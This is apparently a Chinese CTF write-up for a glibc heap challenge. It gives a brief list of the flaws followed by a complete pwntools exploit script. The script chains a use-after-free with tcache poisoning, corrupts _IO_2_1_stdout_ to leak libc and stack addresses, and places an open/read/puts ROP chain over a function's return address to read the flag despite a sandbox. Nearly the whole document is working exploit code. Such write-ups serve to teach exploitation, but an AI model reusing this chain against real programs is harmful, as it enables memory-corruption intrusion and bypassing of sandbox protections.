题目地址
提取码: Ya0o
漏洞
- uaf,只能一次
- show函数只能用一次,所以可以打_IO_2_1_stdout_结构体,泄露environ中内容,用来计算栈偏移
- 堆块overlapping
- 开启了沙箱,控制add函数的ret地址,与栈结合使用orw
exp
from pwn import *
from pwn import p64,u64,p32,u32,p8
context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")
io=remote('node4.anna.nssctf.cn',28332)
# io = process("./pwn")
elf=ELF("./pwn")
libc=ELF('/ctf/tools/libc.so.6')
sla = lambda x,y : io.sendlineafter(x,y)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
gd = lambda : gdb.attach(io)
inter = lambda : io.interactive()
def get_addr() :
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def add(size,content):
sla(b"Choice: ",b"1")
sla(b"Please input size:",str(size))
sa(b"Please input content:",content)
def free(idx):
sla(b"Choice: ",b"2")
sla(b"Please input idx:",str(idx))
def show(idx):
sla(b"Choice: ",b"3")
sla(b"Please input idx:",str(idx))
def uaf(idx):
sla(b"Choice: ",b"666")
sla(b"Please input idx:",str(idx))
def pwn():
for i in range(9):
add(0x80,b"aaaa") # 0-8
add(0x10,b"aaaa")
for i in range(7):
free(i)
uaf(8)
show(8)
libc_base = get_addr() - 0x1ecbe0
IO_stdout = libc_base + libc.sym["_IO_2_1_stdout_"]
environ = libc_base + libc.sym["environ"]
print("libc_base ------> "+hex(libc_base))
free(7)
add(0x80,b"aaaa") #0
free(8)
# gd()
# pause()
add(0x70,b"aaaa") #1
payload = p64(0) + p64(0x91)
payload += p64(IO_stdout)
add(0x70,payload) #2
add(0x80,b"aaaa") #3 2和3地址只差了0x10,所以用2可以覆盖3堆块,控制tcache链表
payload = p64(0xfbad1800) + p64(0) * 3
payload += p64(environ) + p64(environ + 8)*2
add(0x80,payload) #4
stack = get_addr() - 0x128
print("stack addr ----> "+hex(stack))
# pause()
free(3)
# pause()
free(2)
# pause()
payload = p64(0) + p64(0x91)
payload += p64(stack)
add(0x70,payload)
add(0x80,b"aaaa") # 将下一个控制位add函数的ret栈地址,方便我们写入shellcode
# pause()
pop_rdi = 0x0000000000023b6a + libc_base
pop_rsi = 0x000000000002601f + libc_base
pop_rdx = 0x0000000000142c92 + libc_base
open_plt = libc_base + libc.sym["open"]
read_plt = libc_base + libc.sym["read"]
puts_plt = libc_base + libc.sym["puts"]
flag = stack + 0x180 # flag被读入的地址
# ./flag字符串地址就是stack地址,注意要8字节对齐
payload = b"./flag\x00\x00"
# open("./flag",0) 0 代表只读形式
payload += p64(pop_rdi) + p64(stack)
payload += p64(pop_rsi) + p64(0)
payload += p64(open_plt)
# read(3,flag地址,0x40)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(flag)
payload += p64(pop_rdx) + p64(0x40)
payload += p64(read_plt)
# puts(flag地址) 因为写orw的话,payload会超过了0x80字节
payload += p64(pop_rdi) + p64(flag)
payload += p64(puts_plt)
add(0x80,payload) # 这个堆块可以就是add函数的ret地址,我们将payload写在那里
# pause()
inter()
pwn()